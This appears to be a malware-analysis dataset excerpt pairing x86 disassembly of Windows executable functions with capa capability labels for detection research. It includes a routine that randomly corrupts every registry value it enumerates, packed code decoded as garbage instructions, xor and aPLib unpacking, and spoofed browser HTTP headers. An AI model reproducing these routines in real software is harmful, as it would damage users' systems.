joyce8/EMBER2024-capa huggingface dataset:
Function at 0xd4b5f0
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
mov eax, dword [0xd514cc]
cmp dword [eax + 0x28], 0
jne 0xd4b608
xor eax, eax
jmp 0xd4b737
mov ecx, dword [0xd5143c]
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x20]
add edx, 0xe
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 4]
mov dword [0xd51430], ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx + 8]
mov dword [0xd5142c], eax
push 0
call dword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [ebp - 0x10], eax
push 1
call dword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [ebp - 0x18], eax
mov ecx, dword [0xd51430]
mov dword [ebp - 0x40], ecx
mov edx, dword [0xd5142c]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x40]
shr eax, 1
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x18]
sub ecx, dword [ebp - 8]
shr ecx, 1
mov dword [ebp - 0x1c], ecx
push 0
mov edx, dword [0xd514b8]
push edx
push 0
push 0
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0x40]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
mov eax, dword [ebp - 0x14]
push eax
push 0x80000000
push 0xd4f680
push 0xd4f6d0
push 0x88
call dword [sym.imp.USER32.dll_CreateWindowExW]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
mov dword [0xd51428], ecx
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.USER32.dll_GetDC]
push eax
call fcn.00d4b530
push 5
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.USER32.dll_UpdateWindow]
push 0xd4b5c0
mov edx, dword [0xd514cc]
mov eax, dword [edx + 0x34]
imul eax, eax, 0x3e8
push eax
push 0
push 0
call dword [sym.imp.USER32.dll_SetTimer]
mov dword [0xd51434], eax
push 1
push 0
push 0
push 0
lea ecx, [ebp - 0x3c]
push ecx
call dword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
je 0xd4b737
cmp dword [ebp - 0x38], 0x12
jne 0xd4b72b
mov dword [0xd51444], 0
call fcn.00d4b740
xor eax, eax
jmp 0xd4b737
lea edx, [ebp - 0x3c]
push edx
call dword [sym.imp.USER32.dll_DispatchMessageW]
jmp 0xd4b6fc
mov esp, ebp
pop ebp
ret 4

Function at 0xd4cb00
Capabilities:
Read .ini file
Read and send data from client to server
Send data
Send data on socket
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ebp
mov dword [ebp], 0
add ebp, 4
mov dword [ebp], 0
add ebp, 4
mov dword [ebp], 0
add ebp, 4
mov dword [ebp], 0
add ebp, 4
mov dword [ebp], 0
add ebp, 4
mov dword [ebp], 0
pop ebp
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0xd4d69c
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
pushal
mov esi, dword [esp + 0x24]
mov ecx, dword [esp + 0x28]
mov edi, 0xd4f168
sub eax, eax
test esi, esi
je 0xd4d774
sub eax, 1
test ecx, ecx
je 0xd4d772
test esi, 3
je 0xd4d6da
xor al, byte [esi]
inc esi
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
dec ecx
jne 0xd4d6bf
mov edx, ecx
and edx, 7
shr ecx, 3
je 0xd4d759
xor eax, dword [esi]
add esi, 4
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
xor eax, dword [esi]
add esi, 4
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
dec ecx
jne 0xd4d6e4
mov ecx, edx
test ecx, ecx
je 0xd4d772
xor al, byte [esi]
inc esi
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
dec ecx
jne 0xd4d75f
not eax
mov dword [esp + 0x1c], eax
popal
ret

Function at 0xd4d77c
Capabilities:
Decompress data using aplib

Disassembly:
pushal
mov esi, dword [esp + 0x24]
mov edi, dword [esp + 0x28]
cld
mov dl, 0x80
xor ebx, ebx
movsb byte es:[edi], byte [esi]
mov bl, 2
call fcn.00d4d7ff
jae 0xd4d78a
xor ecx, ecx
call fcn.00d4d7ff
jae 0xd4d7b9
xor eax, eax
call fcn.00d4d7ff
jae 0xd4d7c9
mov bl, 2
inc ecx
mov al, 0x10
call fcn.00d4d7ff
adc al, al
jae 0xd4d7ab
jne 0xd4d7f5
stosb byte es:[edi], al
jmp 0xd4d78d
call fcn.00d4d80b
sub ecx, ebx
jne 0xd4d7d2
call fcn.00d4d809
jmp 0xd4d7f1
lodsb al, byte [esi]
shr eax, 1
je 0xd4d81b
adc ecx, ecx
jmp 0xd4d7ee
xchg ecx, eax
dec eax
shl eax, 8
lodsb al, byte [esi]
call fcn.00d4d809
cmp eax, 0x7d00
jae 0xd4d7ee
cmp ah, 5
jae 0xd4d7ef
cmp eax, 0x7f
ja 0xd4d7f0
inc ecx
inc ecx
xchg ebp, eax
mov eax, ebp
mov bl, 1
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xd4d78d
sub edi, dword [esp + 0x28]
mov dword [esp + 0x1c], edi
popal
ret

Function at 0xd4e14c
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0xd51000]
jne 0xd4e156
repz ret
jmp fcn.00d4e3fd
Function at 0x4010a0
Capabilities:
Generate random numbers via winapi
Query or enumerate registry key
Query or enumerate registry value
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x403004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 4
push 0x3000
push 0x208
push 0
mov ebx, ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0
push 0
push 0
mov edi, eax
mov dword [ebp - 0x10], 0x104
push 0
lea eax, [ebp - 0x10]
mov dword [ebp - 0x20], edi
push eax
push edi
push 0
push ebx
mov esi, 1
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
cmp eax, 0x103
je 0x40113a
lea eax, [ebp - 0x18]
push eax
push 0x2001f
push 0
push edi
push ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x401116
mov ecx, dword [ebp - 0x18]
call fcn.004010a0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], 0x104
push eax
push edi
push esi
push ebx
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
inc esi
cmp eax, 0x103
jne 0x4010f7
push 4
push 0x3000
push 0x2000
push 0
mov dword [ebp - 0x14], 0x2000
mov dword [ebp - 8], 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x1c], eax
push ecx
push eax
lea eax, [ebp - 8]
mov dword [ebp - 0x10], 0x104
push eax
push 0
lea eax, [ebp - 0x10]
push eax
push edi
push 0
push ebx
call dword [sym.imp.ADVAPI32.dll_RegEnumValueW]
mov esi, 1
mov dword [ebp - 0x18], esi
cmp eax, 0x103
je 0x40125f
test eax, eax
jne 0x401228
mov edi, dword [ebp - 0x14]
xor esi, esi
test edi, edi
je 0x401204
mov eax, dword [0x40332c]
test eax, eax
jne 0x4011cd
push 0xf0000040
push 1
push eax
push eax
push 0x40332c
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x401293
mov eax, dword [0x40332c]
lea ecx, [ebp - 0xc]
push ecx
push 4
push eax
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
mov eax, dword [ebp - 0x1c]
mov edx, dword [ebp - 0xc]
mov cl, byte [esi + eax]
lea eax, [ecx + 1]
dec cl
and dl, 1
movzx eax, al
movzx ecx, cl
cmovne ecx, eax
mov eax, dword [ebp - 0x1c]
mov byte [esi + eax], cl
inc esi
cmp esi, edi
jb 0x4011a3
mov edi, dword [ebp - 0x14]
jmp 0x401207
mov eax, dword [ebp - 0x1c]
push edi
mov edi, dword [ebp - 0x20]
push eax
push dword [ebp - 8]
push 0
push edi
push ebx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x401225
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, dword [ebp - 0x18]
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 0x2000
push eax
push dword [ebp - 0x1c]
lea eax, [ebp - 8]
mov dword [ebp - 0x10], 0x104
push eax
push 0
lea eax, [ebp - 0x10]
push eax
push edi
push esi
push ebx
call dword [sym.imp.ADVAPI32.dll_RegEnumValueW]
inc esi
mov dword [ebp - 0x18], esi
cmp eax, 0x103
jne 0x401192
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFree]
push 0x8000
push 0
push edi
call esi
push 0x8000
push 0
push dword [ebp - 0x1c]
call esi
push ebx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004017be
mov esp, ebp
pop ebp
ret
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x58f8c0
Capabilities:
Encode data using xor

Disassembly:
mov ch, byte [0xa216dc5a]
add edx, dword [esi - 0x32]
das
xchg ebx, eax
dec ecx
call 0x87208f6b
xor byte [eax], 0xe7
mov byte [esi + 0x5f], bh
fidiv word [ecx]
movsd dword es:[edi], dword [esi]
push edx
xor dword [esp + edi*8 - 3], 0x72
jbe 0x58f8a3
jo 0x58f8d6
lodsb al, byte [esi]
fidivr word [ecx + esi - 0x68]
jl 0x58f8f3
cwde
jl 0x58f8f3
cwde
dec ecx
adc byte [edx - 0x495a5ffa], bl
pop esi
lds ebx, [ecx - 0x2b]
push eax
cmpsb byte cs:[esi], byte es:[edi]
pop edx
add byte [ebp - 0x65], al
retf 0x96b1
mov cl, 0x96
xchg edx, eax
in al, dx
out dx, eax
in al, dx
fld qword [ebx - 0x5452ff1e]
jecxz 0x58f956
cmp cl, byte [ecx - 0x7d]
pop esi
sbb dl, byte [eax + 0x69]
test byte [edx - 0x118b5b8a], bl
pop esp
mov bh, 0x94
push edi
cmpsb byte [esi], byte es:[edi]
push eax
and eax, ebx
mov ebx, 0x22e81398
jbe 0x58f95d
cmpsb byte ss:[esi], byte es:[edi]
jbe 0x58f899
cmp eax, 0xe6fadd5d
mov ah, 0x12
xor ebx, 0x24306021
lcall 0x2081, 0xe3f49b9f
loop 0x58f97f
invalid
pushal
test al, dh
popal
rcr dl, 1
xchg ecx, eax
invalid
dec eax
dec ebp
mov ebp, 0xb3ba951a
and byte [esi - 0x11f904c4], dl
inc ecx
movsb byte es:[edi], byte [esi]
push eax
invalid

Function at 0x659a6d
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x663168
cmp edx, dword [eax]
je 0x659a8f
add eax, 8
inc ecx
cmp eax, 0x6631f8
jl 0x659a80
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x663168]
jne 0x659bbd
mov eax, dword [0xa68a90]
cmp eax, 1
je 0x659b97
test eax, eax
jne 0x659ac0
cmp dword [0x663094], 1
je 0x659b97
cmp edx, 0xfc
je 0x659bbd
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x659af7
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.0065a450
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.0065a8e0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x659b3a
lea eax, [ebp - 0x1a4]
push eax
call fcn.0065a8e0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x65ee9c
push edi
call fcn.0065c7b0
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.0065a450
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.0065a460
lea eax, [ebp - 0xa0]
push 0x65ee7c
push eax
call fcn.0065a460
push dword [esi + 0x66316c]
lea eax, [ebp - 0xa0]
push eax
call fcn.0065a460
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.0065c724
add esp, 0x2c
pop edi
jmp 0x659bbd
lea eax, [ebp + 8]
lea esi, [esi + 0x66316c]
push 0
push eax
push dword [esi]
call fcn.0065a8e0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x401320
Capabilities:
Execute command
Set console window title

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x20
mov eax, dword [0x676664]
xor eax, esp
mov dword [esp + 0x1c], eax
push esi
push edi
push 0x647180
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push 0x40
push 0xaa
push 0xfa
push 1
call esi
cdq
sub eax, edx
sar eax, 1
sub eax, 0x55
push eax
push 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
cdq
sub eax, edx
sar eax, 1
sub eax, 0x7d
push eax
push 0
call edi
push eax
call dword [sym.imp.USER32.dll_SetWindowPos]
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov esi, eax
lea eax, [esp + 0xc]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
mov ecx, dword [esp + 0x1a]
mov edx, dword [esp + 0x1c]
sub ecx, dword [esp + 0x16]
sub edx, dword [esp + 0x18]
inc ecx
inc edx
mov word [esp + 8], cx
mov word [esp + 0xa], dx
mov eax, dword [esp + 8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleScreenBufferSize]
call edi
mov esi, eax
push 0xfffffffffffffff0
push esi
call dword [sym.imp.USER32.dll_GetWindowLongA]
and eax, 0xfffeffff
push eax
push 0xfffffffffffffff0
push esi
call dword [sym.imp.USER32.dll_SetWindowLongA]
mov esi, dword [sym.imp.MSVCR100.dll_system]
mov edi, edi
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push ecx
push ecx
push str.Pakek_Yang_HARD_BANG
push edx
call fcn.00401090
add esp, 0xc
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push str.pause
call esi
add esp, 4
jmp 0x4013e0
Function at 0x4020b0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5b6468
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x676664]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp dword [ebx + 0x44], 0
je 0x402242
cmp byte [ebx + 0x49], 0
je 0x402242
mov eax, dword [ebx]
mov edx, dword [eax + 0xc]
push 0xffffffffffffffff
mov ecx, ebx
call edx
cmp eax, 0xffffffff
je 0x402236
lea esi, [ebp - 0x2c]
call fcn.00402000
mov dword [ebp - 4], 0
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov edx, eax
cmp edi, 0x10
jae 0x402123
lea edx, [ebp - 0x2c]
mov eax, edx
lea ecx, [ebp - 0x30]
push ecx
mov ecx, dword [ebp - 0x1c]
add ecx, edx
push ecx
mov ecx, dword [ebx + 0x44]
push eax
lea eax, [ebx + 0x4c]
push eax
call dword [sym.imp.MSVCP100.dll_public:_int___thiscall_std::codecvt_char__char__int_::unshift_int___char___char___char___const]
sub eax, 0
je 0x40215b
dec eax
je 0x40215f
sub eax, 2
lea esi, [ebp - 0x2c]
je 0x40223d
call fcn.00401420
xor al, al
jmp 0x402244
mov byte [ebx + 0x49], 0
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov edx, eax
cmp edi, 0x10
jae 0x40216f
lea edx, [ebp - 0x2c]
mov esi, dword [ebp - 0x30]
sub esi, edx
je 0x40219d
cmp edi, 0x10
jae 0x40217e
lea eax, [ebp - 0x2c]
mov edx, dword [ebx + 0x54]
push edx
push esi
push 1
push eax
call dword [sym.imp.MSVCR100.dll_fwrite]
add esp, 0x10
cmp esi, eax
jne 0x40222e
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
cmp byte [ebx + 0x49], 0
je 0x40223a
test esi, esi
jne 0x402117
mov ecx, dword [ebp - 0x1c]
or edx, 0xffffffff
sub edx, ecx
cmp edx, 8
jbe 0x40225f
lea esi, [ecx + 8]
cmp esi, 0xfffffffe
ja 0x40225f
cmp edi, esi
jae 0x402217
push ecx
push esi
lea eax, [ebp - 0x2c]
push eax
call fcn.004022e0
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
test esi, esi
je 0x402117
mov ecx, eax
cmp edi, 0x10
jae 0x4021f3
lea ecx, [ebp - 0x2c]
mov edx, dword [ebp - 0x1c]
xor eax, eax
mov dword [ecx + edx], eax
mov dword [ecx + edx + 4], eax
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x1c], esi
jae 0x40220e
lea eax, [ebp - 0x2c]
mov byte [eax + esi], 0
jmp 0x402111
test esi, esi
jne 0x4021e9
mov dword [ebp - 0x1c], esi
cmp edi, 0x10
jae 0x402226
lea eax, [ebp - 0x2c]
mov byte [eax], 0
jmp 0x402111
lea esi, [ebp - 0x2c]
call fcn.00401420
xor al, al
jmp 0x402244
lea esi, [ebp - 0x2c]
call fcn.00401420
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0059af98
mov esp, ebp
pop ebp
ret
push str.string_too_long
call dword [sym.imp.MSVCP100.dll_void___cdecl_std::_Xlength_error_char_const__]
int3
Function at 0x4160a0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [ebp + 8]
mov eax, dword [edi + 8]
mov esi, ecx
cmp eax, dword [ebx + 8]
je 0x4160bf
pop edi
pop esi
xor al, al
pop ebx
pop ebp
ret 8
xor edx, edx
cmp eax, edx
jne 0x4160df
mov dword [esi + 8], edx
cmp byte [esi + 0x11], dl
je 0x41613c
pop edi
mov dword [esi + 0x14], edx
mov dword [esi + 0xc], edx
mov byte [esi + 0x11], dl
pop esi
mov al, 1
pop ebx
pop ebp
ret 8
cmp byte [esi + 0x10], 0xdb
je 0x4160f7
push edx
call fcn.00464950
add esp, 4
pop edi
pop esi
xor al, al
pop ebx
pop ebp
ret 8
cmp dword [esi + 0xc], eax
jae 0x416108
push eax
call fcn.004116d0
test al, al
je 0x4160b6
xor edx, edx
mov eax, dword [edi + 8]
mov ecx, dword [esi + 0xc]
mov dword [esi + 8], eax
cmp eax, ecx
jbe 0x416118
mov dword [esi + 8], ecx
cmp dword [esi + 0x14], edx
je 0x4160b6
xor eax, eax
cmp dword [edi + 8], edx
jbe 0x41613c
mov ecx, dword [edi + 0x14]
mov edx, dword [ebx + 0x14]
mov cl, byte [ecx + eax]
xor cl, byte [edx + eax]
mov edx, dword [esi + 0x14]
mov byte [eax + edx], cl
inc eax
cmp eax, dword [edi + 8]
jb 0x416124
pop edi
pop esi
mov al, 1
pop ebx
pop ebp
ret 8
Function at 0x432cf0
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x59fc86
mov eax, dword fs:[0]
push eax
sub esp, 0x148
mov eax, dword [0x676664]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 0xc]
mov edi, dword [ebp + 8]
mov edx, dword [ebp + 0x20]
mov ebx, dword [ebp + 0x14]
mov esi, ecx
mov ecx, dword [ebp + 0x1c]
mov dword [ebp - 0x14c], eax
push 4
lea eax, [esi + 0x2ad8]
mov dword [ebp - 0x140], ecx
push eax
mov ecx, edi
mov dword [ebp - 0x148], edx
call fcn.0040f310
mov ecx, ebx
call fcn.00410b40
mov ecx, dword [esi + 0xb84]
mov edx, dword [esi + 0xb80]
mov eax, dword [ebp - 0x140]
push 0
push 0
push ecx
push edx
push eax
lea ecx, [ebp - 0x144]
call fcn.004641c0
mov ecx, esi
mov dword [ebp - 4], 0
call fcn.0043feb0
mov byte [esi + 0x17e4], 1
call sub.KERNEL32.dll_GetTickCount
mov dword [ebp - 0x140], eax
xor eax, eax
lea ecx, [ebp - 0x144]
mov dword [ebp - 0x154], eax
mov dword [ebp - 0x150], eax
call fcn.00463460
push eax
lea ecx, [ebp - 0x138]
call fcn.004aecb0
mov ecx, dword [ebp - 0x148]
push ecx
lea edx, [ebp - 0x138]
push edx
mov edx, dword [ebp + 0x10]
lea eax, [ebp - 0x154]
push eax
push ebx
lea ecx, [esi + 0x1280]
push ecx
mov ecx, dword [ebp - 0x14c]
push 0
push edx
mov byte [ebp - 4], 1
mov dword [ebp - 0x110], 0
call fcn.0040d9a0
push eax
push esi
lea eax, [esi + 0x1688]
push eax
lea ebx, [esi + 0x2950]
push ebx
mov ecx, edi
call fcn.0040d9a0
push eax
push esi
call fcn.004d9e30
mov ecx, dword [ebp - 0x110]
mov dl, byte [ebp - 0x11a]
add esp, 0x34
mov byte [ebp - 0x139], al
mov dword [esi + 0xc30], ecx
mov byte [esi + 0x10ab], dl
call sub.KERNEL32.dll_GetTickCount
mov ecx, dword [ebp - 0x140]
mov edi, dword [ebp - 0x148]
cmp eax, ecx
jb 0x432e60
sub eax, ecx
push eax
push str.totalElapsedMs
mov ecx, edi
call fcn.0044e8c0
cmp byte [ebp - 0x139], 0
push edi
je 0x432ea8
lea ecx, [ebp - 0x144]
call fcn.00464210
mov eax, dword [esi + 0x155c]
mov ecx, dword [esi + 0x1558]
push eax
push ecx
push str.ContentLength
lea ecx, [esi + 0x908]
call fcn.0044e9a0
cmp dword [esi + 0x1554], 0x190
jl 0x432eaf
mov byte [ebp - 0x139], 0
jmp 0x432eaf
mov ecx, ebx
call fcn.004bf3f0
lea ecx, [ebp - 0x138]
mov byte [ebp - 4], 0
call fcn.004aed70
lea ecx, [ebp - 0x144]
mov dword [ebp - 4], 0xffffffff
call fcn.00463480
mov al, byte [ebp - 0x139]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0059af98
mov esp, ebp
pop ebp
ret 0x1c
Function at 0x440430
Capabilities:
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5a11a6
mov eax, dword fs:[0]
push eax
sub esp, 0x250
mov eax, dword [0x676664]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov al, byte [ebp + 8]
mov esi, ecx
mov byte [esi + 0x2af1], al
test al, al
je 0x440588
lea ecx, [ebp - 0x25c]
mov byte [esi + 0x2af0], 0
call fcn.0040c500
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__rv:91.0__Gecko_20100101_Firefox_91.0
lea ecx, [ebp - 0x25c]
mov dword [ebp - 4], 0
call fcn.0040c960
lea eax, [ebp - 0x25c]
push eax
push str.User_Agent
mov ecx, esi
call fcn.0043fdd0
lea ecx, [ebp - 0x144]
call fcn.00462990
lea ecx, [ebp - 0x144]
push ecx
push str.text_html_application_xhtmlxml_application_xml_q0.9_image_webp___q0.8
add esi, 0x17a8
push str.Accept
mov ecx, esi
mov byte [ebp - 4], 1
call fcn.004857f0
lea edx, [ebp - 0x144]
push edx
push str.Accept_Language
mov ecx, esi
call fcn.00483db0
test al, al
jne 0x440507
lea eax, [ebp - 0x144]
push eax
push str.en_US_en_q0.5
push str.Accept_Language
mov ecx, esi
call fcn.004857f0
lea ecx, [ebp - 0x144]
push ecx
push str.Connection
mov ecx, esi
call fcn.00483db0
test al, al
jne 0x440536
lea edx, [ebp - 0x144]
push edx
push str.keep_alive
push str.Connection
mov ecx, esi
call fcn.004857f0
lea eax, [ebp - 0x144]
push eax
push str.Upgrade_Insecure_Requests
mov ecx, esi
call fcn.00483db0
test al, al
jne 0x440565
lea ecx, [ebp - 0x144]
push ecx
push 0x5be498
push str.Upgrade_Insecure_Requests
mov ecx, esi
call fcn.004857f0
lea ecx, [ebp - 0x144]
mov byte [ebp - 4], 0
call fcn.004629b0
lea ecx, [ebp - 0x25c]
mov dword [ebp - 4], 0xffffffff
call fcn.0040c590
jmp 0x44059a
push 1
push str.User_Agent
lea ecx, [esi + 0x17a8]
call fcn.00484130
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0059af98
mov esp, ebp
pop ebp
ret 4

Function at 0x441820
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5a2f6b
mov eax, dword fs:[0]
push eax
sub esp, 0x120
mov eax, dword [0x676664]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
mov ecx, esi
call fcn.004439b0
cmp byte [0x6775b1], 0
jne 0x4418be
push 0x200
push 0
push 0x6771f8
call sub.MSVCR100.dll_memset
add esp, 0xc
lea eax, [ebp - 0x12c]
push eax
push 0x6771f8
mov dword [ebp - 0x12c], 0x100
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
test eax, eax
jne 0x4418b7
mov ecx, dword [0x5bf878]
mov edx, dword [0x5bf87c]
mov ax, word [0x5bf880]
mov dword [0x6771f8], ecx
mov dword [0x6771fc], edx
mov word [0x677200], ax
mov byte [0x6775b1], 1
lea ecx, [ebp - 0x128]
call fcn.0040c500
push 0x6771f8
lea ecx, [ebp - 0x128]
mov dword [ebp - 4], 0
call fcn.0040f040
lea ecx, [ebp - 0x128]
call fcn.0040d9a0
push eax
mov ecx, esi
call fcn.00443f80
lea ecx, [ebp - 0x128]
mov dword [ebp - 4], 0xffffffff
call fcn.0040c590
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0059af98
mov esp, ebp
pop ebp
ret